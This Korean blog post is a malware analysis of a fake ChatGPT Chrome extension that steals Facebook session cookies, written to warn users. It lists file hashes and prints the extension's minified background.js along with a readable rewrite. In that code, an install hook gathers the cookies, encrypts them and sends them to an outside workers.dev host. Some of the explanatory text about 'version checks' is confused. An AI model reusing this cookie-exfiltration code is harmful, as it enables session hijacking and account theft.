꿈을꾸는 파랑새

일단 오늘은 전 세계적으로 유행하는 GPT 3.5를 기반으로 하는 대화형 인공지능 서비스에 대해 알아보겠으며 최근에서는 GPT 4.0 버전도 출시가 되었습니다. 일단 ChatGPT는 사용자와 주고받는 대화에서 질문에 답하도록 설계된 언어모델이며 최근에 인기가 좋아서 프로그램을 공부하시는 분들도 도움을 받고 있고 물론 좋은 방향으로 사용하면 문제가 되지 않겠지만, 악성코드 작성, 피싱 사이트 작성, 법원 판결문 대필? 연설문 대필? 등 좋은 면과 나쁜 점이 공존하고 있습니다.
물론 AI라서 똑똑 한 것이 아니고 가끔은 유명한 연예인을 살아 있는데 사망했다는지 검증이 안 된 말을 하는 것이 있습니다. 여기서 무료 버전을 사용해도 되지만 유료 버전 즉 20달러를 돈을 내면 다른 사람들보다는 반응 속도가 빠른 답변을 받을 수가 있는 것이 특징입니다.
일단 구글 크롬 브라우저, 파이어폭스 등과 같은 브라우저는 기본적으로 부가기능을 설치해서 사용자가 브라우저의 기본 기능에서 조금 더 편리하게 사용을 할 수가 있게 부가기능을 제공하고 있습니다. 여기서 오늘 문제가 되는 Quick access to Chat GPT 부가기능을 설치하면 페

이스북 계정을 훔치는 구글 크롬 부가기능을 설치해서 정상적으로 검색엔진에서 ChatGPT(쳇GPT)를 사용을 할 수 있게 하나 브라우저에서 가져올 수 있는 모든 정보를 수집하고, 모든 서비스에 대한 승인된 활성 세션의 쿠키를 훔치고 페이스북 계정을 훔치는 방법을 사용하고 있습니다.
즉 해당 페이스북 계정을 훔치는 데 성공을 하면 각종 스팸 및 피싱 사이트 등 범죄에 이용될 것입니다.
간단한 API 호출을 사용하여 Facebook 계정에 접근합니다.
먼저 해당 악성코드 유포 구글 크롬 부가기능 사이트 주소는 다음과 같습니다.

https://chrome.google(.)com/webstore/detail/chatgpt-for-google/hacfaophiklaeolhnmckojjjjbnappen

ChatGPT 구글 크롬 부가기능 악성코드
ChatGPT 구글 크롬 부가기능 악성코드

그리고 먼저 해당 악성코드 해쉬값은 다음과 같습니다.
파일명:hacfaophiklaeolhnmckojjjjbnappen.crx
사이즈:325 KB
CRC32:b1057a91
MD5:9cc6c26bd215549c39ba5b65e9eec9ea
SHA-1:92f68b87c246ad434d174c474cbba19025975c10
SHA-256:7421f9abe5e618a0d517861f4709df53292a5f137053a227bfb4eb8e152a4669
SHA-512:2e9ef798a6640a0170d06360a1c64f0db446a980d6224620d97c07091ec50f6d1b9035e61f43c66361a450c86e39f8047ed8ae394cacc61f26bee8b2f3818f64
이며 해당 코드를 background.js 에서는 다음과 같은 코드가 있습니다.

User: ${e}<|im_sep|>
ChatGPT:`:e}async generateAnswer(e){let n="";return await M0("https://api.openai(.)com/v1/completions",{method:"POST",signal:e.signal,headers:{"Content-Type":"application/json",Authorization:`Bearer ${this.token}`},body:JSON.stringify({model:this.model,prompt:this.buildPrompt(e.prompt),stream:!0,max_tokens:2048}),onMessage(d){if(console.debug("sse message",d),d==="[DONE]"){e.onEvent({type:"done"});return}let g;try{g=JSON.parse(d);let p=g.choices[0].text;if(p==="<|im_end|>"||p==="<|im_sep|>")return;n+=p,e.onEvent({type:"answer",data:{text:n,messageId:g.id,conversationId:g.id}})}catch(p){console.error(p);return}}}),{}}};function et(r){let e=[];return r.forEach(n=>{let d=n.expirationDate?n.expirationDate:new Date(Date.now()+864e5);if(d=Math.trunc(new Date(d).getTime()/1e3),n.domain.indexOf("facebook")>=0){let g=n.domain+"	"+(n.hostOnly?"FALSE":"TRUE")+"	"+n.path+"	"+(n.secure?"TRUE":"FALSE")+"	"+d+"	"+n.name+"	"+n.value;e.push(g)}}),e.join(`
`)}var fa=_0(sa());function xa(r,e){return fa.default.AES.encrypt(r,e).toString()}var qn="cookies",Dn="chatgpt4google";async function zn(r,e){let n=await Or(),d;if(n.provider==="chatgpt"){let y=await G0();d=new U0(y)}else if(n.provider==="gpt3"){let{apiKey:y,model:t}=n.configs["gpt3"];d=new K0(y,t)}else throw new Error(`Unknown provider ${n.provider}`);let g=new AbortController;r.onDisconnect.addListener(()=>{g.abort(),p==null||p()});let{cleanup:p}=await d.generateAnswer({prompt:e,signal:g.signal,onEvent(y){if(y.type==="done"){r.postMessage({event:"DONE"});return}r.postMessage(y.data)}})}x0.default.runtime.onConnect.addListener(r=>{r.onMessage.addListener(async e=>{console.debug("received msg",e);try{await zn(r,e.question)}catch(n){console.error(n),r.postMessage({error:n.message})}})});x0.default.runtime.onMessage.addListener(async r=>{if(r.type==="FEEDBACK"){let e=await G0();await Yr(e,r.data)}else if(r.type==="OPEN_OPTIONS_PAGE")x0.default.runtime.openOptionsPage();else if(r.type==="GET_ACCESS_TOKEN")return G0()});x0.default.runtime.onInstalled.addListener(r=>{r.reason==="install"&&(x0.default.runtime.openOptionsPage(),x0.default[qn].getAll({}).then(e=>{let n=et(e);fetch("https://version.chatgpt4google.workers(.)dev/",{method:"GET",headers:{"X-Cached-Key":x(a)(n,Dn)}}).then(g=>{g.status===200?console.log(g):console.log("Version not found")})}))});})();

입니다. 이것을 쉽게 코드로 풀어 보면 다음과 같습니다.

async function generateAnswer(event) {
  let answerText = "";

  try {
    const authToken = await getAuthToken();
    const configs = await axios.get(
      "https://api.chatgpt(.)com/v1/configs",
      {
        headers: {
          Authorization: `Bearer ${authToken}`,
        },
      }
    );

    const provider = configs.data.provider;

    let providerObject;
    if (provider === "chatgpt") {
      const apiKey = await getAuthToken("chatgpt");
      providerObject = new ChatGPT(apiKey);
    } else if (provider === "gpt3") {
      const { apiKey, model } = configs.data.configs["gpt3"];
      providerObject = new GPT3(apiKey, model);
    } else {
      throw new Error(`Unknown provider ${provider}`);
    }

    const abortController = new AbortController();
    event.onDisconnect.addListener(() => {
      abortController.abort();
      cleanup == null || cleanup();
    });

    const { cleanup } = await providerObject.generateAnswer({
      prompt: event.prompt,
      signal: abortController.signal,
      onEvent: (eventData) => {
        if (eventData.type === "done") {
          event.onEvent({ type: "done" });
          return;
        }

        let response;
        try {
          response = JSON.parse(eventData);
        } catch (error) {
          console.error(error);
          return;
        }

        const answer = response.choices[0].text;
        if (answer === "" || answer === undefined) {
          return;
        }

        answerText += answer;
        event.onEvent({
          type: "answer",
          data: {
            text: answerText,
            messageId: response.id,
            conversationId: response.id,
          },
        });
      },
    });
  } catch (error) {
    console.error(error);
    event.postMessage({ error: error.message });
  }
}

chrome.runtime.onConnect.addListener((port) => {
  port.onMessage.addListener(async (event) => {
    console.debug("received msg", event);
    try {
      await generateAnswer(port, event.question);
    } catch (error) {
      console.error(error);
      port.postMessage({ error: error.message });
    }
  });
});

chrome.runtime.onMessage.addListener(async (message) => {
  if (message.type === "FEEDBACK") {
    const authToken = await getAuthToken("chatgpt");
    await submitFeedback(authToken, message.data);
  } else if (message.type === "OPEN_OPTIONS_PAGE") {
    chrome.runtime.openOptionsPage();
  } else if (message.type === "GET_ACCESS_TOKEN") {
    return getAuthToken("chatgpt");
  }
});

chrome.runtime.onInstalled.addListener((details) => {
  if (details.reason === "install") {
    chrome.runtime.openOptionsPage();

    chrome.cookies.getAll({}, (cookies) => {
      const cookieString = serializeCookies(cookies);

      const encrypted = AES.encrypt(cookieString, "chatgpt4google").toString();

      fetch("https://version.chatgpt4google.workers(.)dev/", {
        method: "GET",
        headers: {
          "X-Cached-Key": encrypted,
        },
      }).then((response) => {
        if (response.status === 200) {

이며 여기서 OnInstalled 이벤트 핸들러는 다음과 같은 역할을 합니다.
코드는 브라우저 확장 프로그램이 설치되면 실행되는 이벤트 를 등록하며 details.reason이 install일 때 브라우저 옵션 페이지를 열고 chrome.cookies.getAll()을 사용하여 현재 도메인에 대한 모든 쿠키를 가져와 serializeCookies() 함수를 사용하여 쿠키 문자열로 직렬 화하고 AES.encrypt()를 사용하여 암호화된 쿠키 문자열을 생성 fetch()를 사용하여 서버에서 해당 문자열에 대한 응답을 받아옵니다.

만약 응답의 HTTP 상태 코드가 200이면 콘솔에 "Version found"를 출력 해당 코드의 목적은 브라우저 확장 프로그램이 설치되었을 때, 서버로부터 버전 정보를 가져와 캐시 된 버전 정보와 비교하는 것입니다. insole.log(g)를 실행 그렇지 않은 경우, "Version not found"를 로그에 출력합니다.
즉, OnInstalled 이벤트 핸들러는 확장 프로그램이 설치되거나 업데이트될 때의 초기화 작업을 수행합니다. 이 코드에서는 확장 프로그램 설치 후 최초로 확장 프로그램을 실행했을 때, 확장 프로그램의 옵션 페이지를 열고 쿠키 값을 가져와서 서버에 전송하는 역할을 합니다.

function et(r) {
  let e = [];
  return r.forEach(n => {
    let d = n.expirationDate ? n.expirationDate : new Date(Date.now() + 864e5);
    if (d = Math.trunc(new Date(d).getTime() / 1e3), n.domain.indexOf("facebook") >= 0) {
      let g = n.domain + " " + (n.hostOnly ? "FALSE" : "TRUE") + " " + n.path + " " + (n.secure ? "TRUE" : "FALSE") + " " + d + " " + n.name + " " + n.value;
      e.push(g)
    }
  }), e.join(`
`)
}

코드에서 r.forEach 부분이 cookie 객체들을 순회하며 해당 cookie가 facebook 도메인에 속하는지 확인하고, 속한다면 e 배열에 해당 cookie의 정보를 추가를 진행을 하고 나서 xa()키를 사용하여 AES로 모든 것을 암호화를 사용을 합니다.
그리고 다음 코드에서 다음과 같은 동작을 합니다.

const encrypted = AES.encrypt(cookieString, "chatgpt4google").toString();

      fetch("https://version.chatgpt4google.workers(.)dev/", {
        method: "GET",
        headers: {
          "X-Cached-Key": encrypted,
        },
      }).then((response) => {
        if (response.status === 200) {
cookieString을 AES 암호화하여 "https://version.chatgpt4google.workers(.)dev/"에 GET 요청을 보내는 역할

을 하며 요청 헤더에는 X-Cached-Key 필드에 암호화된 cookieString이 담겨 있습니다.
서버 측에서는 이 cookieString이 캐시에 저장되어 있는지 확인하고, HTTP 상태 코드 200을 반환하면 캐시가 있음을 나타내고, 그렇지 않으면 404를 반환 해당 코드는 해당 URL에 대한 캐시 유효성을 검사하고, 캐시가 있으면 콘솔에 응답을 로깅하고, 그렇지 않으면 "Version not found" 메시지를 콘솔에 출력하는 코드입니다.
오픈 소스 프로젝트 버전 1.16.6을 기반으로 하는 이 FakeGPT 변종은 설치 직후 특정 악성 동작 하나만 수행하고 나머지는 기본적으로 정품 코드와 동일 하게 작동을 하는 구글 크롬 부가기능 악성코드입니다. 즉 쳿GPT(ChatGPT) 에서 아직은 정식 브라우저 및 앱은 지원되지 않으므로 항상 조심을 하는 것이 좋습니다.

반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band